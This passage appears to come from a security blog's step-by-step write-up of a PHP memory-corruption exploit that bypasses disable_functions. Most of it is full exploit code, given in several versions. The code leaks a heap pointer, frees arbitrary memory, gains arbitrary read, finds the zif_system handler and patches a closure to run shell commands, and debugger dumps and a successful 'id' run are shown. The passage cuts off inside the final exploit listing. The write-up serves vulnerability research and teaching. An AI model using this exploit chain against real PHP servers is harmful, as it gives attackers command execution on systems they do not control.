โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ trace โ”€โ”€โ”€โ”€
[#0] 0x555555b44b2f โ†’ zend_gc_delref(p=0x4141484141474141)
[#1] 0x555555b44b2f โ†’ i_zval_ptr_dtor(zval_ptr=0x7ffff3e5cba8)
[#2] 0x555555b44b2f โ†’ concat_function(result=0x7ffff3e5cba8, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b โ†’ zend_binary_op(op2=0x7ffff3e97390, op1=0x7ffff3e5cba8, ret=0x7ffff3e5cba8)
[#4] 0x555555caf02b โ†’ ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257 โ†’ execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6 โ†’ zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c โ†’ zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae โ†’ php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1 โ†’ do_cli(argc=0x2, argv=0x55555678a350)

As we can see part of our pattern arrived to the zend_gc_delref function and crashed. This function tries to decrease the reference counter, and it is called from i_zval_ptr_dtor:

static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr)
{
	if (Z_REFCOUNTED_P(zval_ptr)) {
		zend_refcounted *ref = Z_COUNTED_P(zval_ptr);
		if (!GC_DELREF(ref)) {
			rc_dtor_func(ref);
		} else {
			gc_check_possible_root(ref);
		}
	}
}

This function is used to destroy the variable passed as argument (a pointer to the desired zval, we can see the pointer is the same used as result in the concatenation). In our case a pointer to part of the faked contents at $buf. So if we change that part for โ€œXโ€ we should verify that we can control what is going to be released:

 $buf = str_repeat("AAABAACAADAAEAAF" . XXXXXXXX . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
   1034	 	ZEND_RC_MOD_CHECK(p);
   1035	 	return ++(p->refcount);
   1036	 }
   1037	 
   1038	 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
          // p=0x007fffffff72b8  โ†’  0x5858585858585858
 โ†’ 1039	 	ZEND_ASSERT(p->refcount > 0);
   1040	 	ZEND_RC_MOD_CHECK(p);
   1041	 	return --(p->refcount);
   1042	 }
   1043	 
   1044	 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ threads โ”€โ”€โ”€โ”€
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ trace โ”€โ”€โ”€โ”€
[#0] 0x555555b44b2f โ†’ zend_gc_delref(p=0x5858585858585858)
[#1] 0x555555b44b2f โ†’ i_zval_ptr_dtor(zval_ptr=0x7ffff3e5d328)
[#2] 0x555555b44b2f โ†’ concat_function(result=0x7ffff3e5d328, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b โ†’ zend_binary_op(op2=0x7ffff3e95390, op1=0x7ffff3e5d328, ret=0x7ffff3e5d328)
[#4] 0x555555caf02b โ†’ ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257 โ†’ execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6 โ†’ zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c โ†’ zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae โ†’ php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1 โ†’ do_cli(argc=0x2, argv=0x55555678a350)

At this point we can:

  1. Leak a pointer from memory
  2. Free arbitrarily

We can use the leaked pointer to know the location of another variable that we allocate as placeholder and then free that variable.

<?php

class exploit {
public function __construct($cmd) {
    $concat_result_addr = $this->leak_heap();
    print "[+] Concated string address:\n0x";
    print dechex($concat_result_addr);
    $this->placeholder = $this->alloc(0x4F, "B");
    $placeholder_addr = $concat_result_addr+0xe0;
    print "\n[+] Placeholder string address:"; 
    print "\n0x".dechex($placeholder_addr);
    print "\n[+] Before free:\n";
    debug_zval_dump($this->placeholder);
    $this->free($placeholder_addr);
    print "\n[+] After free:\n";
    debug_zval_dump($this->placeholder);
}


private function leak_heap() {
	$contiguous = [];
 		for ($i = 0; $i < 10; $i++) {
			$contiguous[] = $this->alloc(0x100, "D");
 		}
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 1337;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= $this->alloc(0x4A, "F"); // 0x4F - 5 from the length of "Array" string concatenated
    return $this->str2ptr($buf, 16);
}


private function free($var_addr) {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
        $arr = 1;
        $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
    });
    $arr[1] .= 1337;
}


private function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


private function str2ptr($str, $p = 0, $n = 8) {
    $address = 0;
    for($j = $n - 1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p + $j]);
    }
    return $address;
}

private function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

}

new exploit("haha");
?>

And we can see that it worked:

โžœ  concat-exploit php blog03.php 
[+] Concated string address:
0x7f763f27a070
[+] Placeholder string address:
0x7f763f27a150
[+] Before free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(2)

[+] After free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(1059561697)

As we said before, we are going to build step by step an exploit similar to the one explained in the article A deep dive into disable_functions bypasses and PHP exploitation, reusing as much as we can. So we are going to take advantage of our ability to free memory to create a hole that is going to be occupied by an object that we are going to use for reading/writing arbitrary memory. As we know where the hole is (the address of the placeholder, that is calculated applying an offset to the leaked address), we can access to the propertiesโ€™ memory contents directly ($placeholder[offset]) and use them to leak memory at any desired address. We can perform an easy test:

<?php

class Helper { public $a, $b, $c, $d; }  

class exploit {
public function __construct($cmd) {
    $concat_result_addr = $this->leak_heap();
    print "[+] Concated string address:\n0x";
    print dechex($concat_result_addr);
    $this->placeholder = $this->alloc(0x4F, "B");
    $placeholder_addr = $concat_result_addr+0xe0;
    print "\n[+] Placeholder string address:"; 
    print "\n0x".dechex($placeholder_addr);
    $this->free($placeholder_addr);
    $this->helper = new Helper;
    $this->helper->a = "KKKK";
}


private function leak_heap() {
	$contiguous = [];
 		for ($i = 0; $i < 10; $i++) {
			$contiguous[] = $this->alloc(0x100, "D");
 		}
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 1337;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= $this->alloc(0x4A, "F");
    return $this->str2ptr($buf, 16);
}


private function free($var_addr) {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
        $arr = 1;
        $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
    });
    $arr[1] .= 1337;
}


private function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


private function str2ptr($str, $p = 0, $n = 8) {
    $address = 0;
    for($j = $n - 1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p + $j]);
    }
    return $address;
}

private function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

}

new exploit("haha");
?>

Our new object ($helper) is going to take the location of our $placeholder freed, so we can review the memory at that address:

gefโžค  x/30g 0x7ffff3e7a150
0x7ffff3e7a150:	0x0000001800000001	0x0000000000000004
0x7ffff3e7a160:	0x00007ffff3e03018	0x00005555567527c0
0x7ffff3e7a170:	0x0000000000000000	0x00007ffff3e55ec0 <--- helper->a
0x7ffff3e7a180:	0x0000000000000006	0x8000065301d853e5
0x7ffff3e7a190:	0x0000000000000001	0x8000065301d853e5
0x7ffff3e7a1a0:	0x0000000000000001	0x8000065301d853e5
0x7ffff3e7a1b0:	0x0000000000000001	0x0000000000000000
0x7ffff3e7a1c0:	0x00007ffff3e7a230	0x0000000000000000
0x7ffff3e7a1d0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a1e0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a1f0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a200:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a210:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a220:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a230:	0x00007ffff3e7a2a0	0x0000000000000000

We can see that the property a (that is a string) is located at 0x7ffff3e7a178 (0x7ffff3e7a150 + 0x28). We can verify it:

gefโžค  x/30g 0x00007ffff3e55ec0
0x7ffff3e55ec0:	0x0000004600000001	0x800000017c8778f1
0x7ffff3e55ed0:	0x0000000000000004	0x000072004b4b4b4b <-- 4b == K
0x7ffff3e55ee0:	0x0000004600000001	0x8000000000597a79
0x7ffff3e55ef0:	0x0000000000000002	0x0000000000007a7a
0x7ffff3e55f00:	0x00007ffff3e555c0	0x00007ffff3e60300
0x7ffff3e55f10:	0x00007ffff3e60360	0x0000555556795a50
0x7ffff3e55f20:	0x00007ffff3e55f40	0x0000000000000000
0x7ffff3e55f30:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f40:	0x00007ffff3e55f60	0x0000000000000000
0x7ffff3e55f50:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f60:	0x00007ffff3e55f80	0x0000000000000000
0x7ffff3e55f70:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f80:	0x00007ffff3e55fa0	0x0000000000000000
0x7ffff3e55f90:	0x0000000000000000	0x0000000000000000
0x7ffff3e55fa0:	0x00007ffff3e55fc0	0x0000000000000000

The โ€œKKKKโ€ (4b4b4b4b) string is in that place. In PHP 7 strings are saved inside the structure zend_string that is defined as:

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1]; // NOT A "char *"
};

So if we interpret this memory as a zend_string we can visualize it better:

gefโžค  print (zend_string)*0x00007ffff3e55ec0
$3 = {
  gc = {
    refcount = 0x1, 
    u = {
      type_info = 0x46
    }
  }, 
  h = 0x800000017c8778f1, 
  len = 0x4, 
  val = "K"
}

As we can overwrite bytes inside the $helper object, we can take advantage of it to overwrite the pointer to the original a string (our โ€œKKKKโ€) with a pointer to any desired address. After overwriting the pointer, we can read safely the bytes at the address + 0x10 (len field inside zend_string) calling strlen() with our $helper->a. Using this simple trick we can get an arbitrary read primitive:

private function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for ($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
    }
}
private function leak($addr, $p = 0, $s = 8) {
    $this->write($this->placeholder, 0x10, $addr);
    $leak = strlen($this->helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
    }

Iggy & The Stooges - Search And Destroy

The next step in our exploit is to search where the basic_functions structure is located in memory, and then walk it until we find the handler for zif_system or similar functions that allow us the execution of commands. Although this is really well explained in the quoted article, letโ€™s just give it a short explanation here.

In PHP the โ€œbasicโ€ functions are grouped into basic_functions for registration, this being an array of zend_function_entry structures. Therefore, in this basic_functions we will have, ultimately, an ordered relationship of function names along with the pointer to them (handlers). The zend_function_entry structure is defined as:

typedef struct _zend_function_entry {
    const char *fname;
    void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
    const struct _zend_internal_arg_info *arg_info;
    uint32_t num_args;
    uint32_t flags;
} zend_function_entry;

So the first member is a pointer to a string that contains the function name, and the next member is a handler to that function. In order to identify a member of the basic_functions structure we can follow the next approach:

  1. Read 8 bytes from an address โ€”> Interpret those bytes as a pointer โ€“> Read 8 bytes at the pointed memory
  2. Does the 8 bytes match our needle (bin2hex function name) ? If it doesnโ€™t, increase the address by 8 and repeat 1

It can be translated to:

private function get_basic_funcs($base) {
    for ($i = 0; $i < 0x6700/8; $i++) {
        $leak = $this->leak($base - $i * 8);
        if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
            $deref = $this->leak($leak);
            if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
                continue;
            }
        } else continue;
        return $base - ($i-2) * 8;
    }
}

Once we have found where the zend_function_entry that holds the information for bin2hex() is located, we can repeat the process to locate the handler for zif_system:

    private function get_system($basic_funcs) {
    $addr = $basic_funcs;
    $i = 0;
    do {
        $f_entry = $this->leak($addr-0x10);
        $f_name = $this->leak($f_entry);
        if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
            return $this->leak($addr + 8-0x10);
        }
        $addr += 0x20;
        $i += 1;
    } while ($f_entry != 0);
    return false;
}

Another aproach to locate the zif_system handler could be to just apply a pre-known offset to the zend_function_entry for bin2hex because the entries in the array are ordered.

Van Halen - Jump

Our exploit has all the ingredients ready, except from the last one: jumping into the target function. In order to call zif_system we are going to add a closure to our helper object and overwrite it. Closures are anonymous functions with the following structure:

typedef struct _zend_closure {
    zend_object std;
    zend_function func;
    zval this_ptr;
    zend_class_entry *called_scope;
    zif_handler orig_internal_handler;
} zend_closure;

If we look carefully we can see that one of the members is a zend_function structure:

union _zend_function {
	zend_uchar type;	/* MUST be the first element of this struct! */
	zend_op_array op_array;
	zend_internal_function internal_function;
};

And zend_internal_function is:

typedef struct _zend_internal_function {
    /* Common elements */
    zend_uchar type;
    zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
    uint32_t fn_flags;
    zend_string* function_name;
    zend_class_entry *scope;
    zend_function *prototype;
    uint32_t num_args;
    uint32_t required_num_args;
    zend_internal_arg_info *arg_info;
    /* END of common elements */
    zif_handler handler;
    struct _zend_module_entry *module;
    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

We can see the handler member. So the plan is easy:

  1. Copy the original zend_closure structure to other part
  2. Patch the $helper object to point to this new location instead of the original
  3. Patch the handler member to point to our zif_system
  4. Call the closure

The resultant code:

//...
$this->helper->b = function ($x) { };
//...
$fake_obj_offset = 0xd8;
for ($i = 0; $i < 0x110; $i += 8) {
	$this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
}
$fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);
$this->write($this->placeholder, 0x20, $fake_obj_addr);
$this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
$this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
     
($this->helper->b)($cmd);

Original closure:

gefโžค  print (zend_closure) * 0x7ffff3e5ce00
$5 = {
  std = {
    gc = {
      refcount = 0x1, 
      u = {
        type_info = 0x18
      }
    }, 
    handle = 0x5, 
    ce = 0x5555567ea530, 
    handlers = 0x55555676daa0 <closure_handlers>, 
 ...
    internal_function = {
      type = 0x2, 
      arg_flags = "\000\000", 
      fn_flags = 0x2100001, 
      function_name = 0x7ffff3e01960, 
      scope = 0x7ffff3e032a0, 
      prototype = 0x0, 
      num_args = 0x1, 
      required_num_args = 0x1, 
      arg_info = 0x7ffff3e6b0c0, 
      handler = 0x100000000, 
      module = 0x200000000, 
      reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
    }
...

Fake closure after patching it:

gefโžค  print (zend_closure) * 0x7ffff3e7a240
$6 = {
  std = {
    gc = {
      refcount = 0x2, 
      u = {
        type_info = 0x18
      }
    }, 
    handle = 0x5, 
    ce = 0x5555567ea530, 
    handlers = 0x55555676daa0 <closure_handlers>, 
...
    internal_function = {
      type = 0x1, 
      arg_flags = "\000\000", 
      fn_flags = 0x2100001, 
      function_name = 0x7ffff3e01960, 
      scope = 0x7ffff3e032a0, 
      prototype = 0x0, 
      num_args = 0x1, 
      required_num_args = 0x1, 
      arg_info = 0x7ffff3e6b0c0, 
      handler = 0x555555965e1b <zif_system>, <---- :D
      module = 0x200000000, 
      reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
    }
...

Chaining all together the exploit is:

<?php

class Helper { public $a, $b, $c, $d; } 

class exploit {
    public function __construct($cmd) {
        $concat_result_addr = $this->leak_heap();
        print "[+] Concated string address:\n0x";
        print dechex($concat_result_addr);
        $this->placeholder = $this->alloc(0x4F, "B");
        $placeholder_addr = $concat_result_addr+0xe0;
        print "\n[+] Placeholder string address:"; 
        print "\n0x".dechex($placeholder_addr);
        $this->free($placeholder_addr);
        $this->helper = new Helper;
        $this->helper->a = "KKKK";
        $this->helper->b = function ($x) { };
        print "\n[+] std_object_handlers:\n";
        $std_object_handlers = $this->str2ptr($this->placeholder);
        print "0x" . dechex($std_object_handlers) . "\n";
        $closure_addr = $this->str2ptr($this->placeholder, 0x20);
        print "[+] Closure:\n";
        print "0x" . dechex($closure_addr) . "\n";
       
        $basic = $this->get_basic_funcs($std_object_handlers);
        print "[+] basic_funcs:\n";
        print "0x" . dechex($basic) . "\n";
        $system = $this->get_system($basic);
        print "[+] zif_system:\n";
        print "0x" . dechex($system);

        $fake_obj_offset = 0xd8;
        for ($i = 0; $i < 0x110; $i += 8) {
            $this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
        }
        $fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
        print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr) . "\n\n";
        $this->write($this->placeholder, 0x20, $fake_obj_addr);
        $this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
        $this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
        
        ($this->helper->b)($cmd);
    }

    private function leak_heap() {
		$contiguous = [];
     		for ($i = 0; $i < 10; $i++) {
				$contiguous[] = $this->alloc(0x100, "D");
     		}
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1337;
            $buf = str_repeat("\x00", 0x100);
        });
        $arr[1] .= $this->alloc(0x4A, "F");
        return $this->str2ptr($buf, 16);
    }

    private function free($var_addr) {

        $contiguous = [];
            for ($i = 0; $i < 10; $i++) {
                $contiguous[] = $this->alloc(0x100, "D");
            }
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
    }


    private function alloc($size, $canary) {
        return str_shuffle(str_repeat($canary, $size));
    }


    private function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function leak($addr, $p = 0, $s = 8) {
        $this->write($this->placeholder, 0x10, $addr);
        $leak = strlen($this->helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    private function get_basic_funcs($base) {
        for ($i = 0; $i < 0x6700/8; $i++) {
            $leak = $this->leak($base - $i * 8);
            if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
                $deref = $this->leak($leak);
                if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
                    continue;
                }
            } else continue;
            return $base - ($i-2) * 8;
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        $i = 0;
        do {
            $f_entry = $this->leak($addr-0x10);
            $f_name = $this->leak($f_entry);
            if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
                return $this->leak($addr + 8-0x10);
            }
            $addr += 0x20;
            $i += 1;
        } while ($f_entry != 0);
        return false;
    }
}

new exploit("id");
?>

Fire in the hole!

โžœ  concat-exploit php blog05.php 
[+] Concated string address:
0x7f9e2c07a070
[+] Placeholder string address:
0x7f9e2c07a150
[+] std_object_handlers:
0x564fde7127c0
[+] Closure:
0x7f9e2c05ce00
[+] basic_funcs:
0x564fde70c760
[+] zif_system:
0x564fdd925e1b
[+] Fake Closure addr:
0x7f9e2c07a240

uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)

Epilogue

If you run the exploit in our environment, you will notice that it does not work. We built the exploit for a slighly different PHP version and all our tests were executed via PHP-CLI. The changes needed are:

  1. Move the 0x100 used in the str_repeat() to a constant. We are still atonished about this poltergeist.
  2. Change the โ€œneedleโ€ used to identify the basic_functions array. From 0x6e69623278656800 to 0x73006e6962327865.
  3. Change the offset in the get_system() in 0x20, so the -0x10 should be a +0x10

The final exploit is:

<?php



class Helper { public $a, $b, $c, $d; }  //alloc(0x4F)

class exploit {
    const FILL = 0x100;
    public function __construct($cmd) {
        
        $concat_result_addr = $this->leak_heap();
        print "[+] Concated string address:\n0x";
        print dechex($concat_result_addr);
        $this->placeholder = $this->alloc(0x4F, "B");
        $placeholder_addr = $concat_result_addr+0xe0;
        print "\n[+] Placeholder string address:"; 
        print "\n0x".dechex($placeholder_addr);
        $this->free($placeholder_addr);
        $this->helper = new Helper;
        $this->helper->a = "KKKK";
        $this->helper->b = function ($x) { };
        print "\n[+] std_object_handlers:\n";
        $std_object_handlers = $this->str2ptr($this->placeholder);
        print "0x" . dechex($std_object_handlers) . "\n";
        $closure_addr = $this->str2ptr($this->placeholder, 0x20);
        print "[+] Closure:\n";
        print "0x" . dechex($closure_addr) . "\n";
       
        $basic = $this->get_basic_funcs($std_object_handlers);
        print "[+] basic_funcs:\n";
        print "0x" . dechex($basic) . "\n";
        $system = $this->get_system($basic);
        print "[+] zif_system:\n";
        print "0x" . dechex($system);


        $fake_obj_offset = 0xd8;

        for ($i = 0; $i < 0x110; $i += 8) {
            $this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
        }

        $fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
        print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);

        $this->write($this->placeholder, 0x20, $fake_obj_addr);
        $this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
        $this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
        print "\nYour commnad, Sir:\n"; 
        print ($this->helper->b)($cmd);
    }


    private function leak_heap() {
        $contiguous = [];
        for ($i = 0; $i < 100; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }

        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1337;
            $buf = str_repeat("\x00", self::FILL);
        });
        $arr[1] .= $this->alloc(0x4F-5, "F");
        return $this->str2ptr($buf, 16);
    }
    private function free($var_addr) {

        for ($i = 0; $i < 100; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }

        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf, &$var_addr, &$payload) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
    }

    private function alloc($size, $canary) {
        return str_shuffle(str_repeat($canary, $size));
    }


    private function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

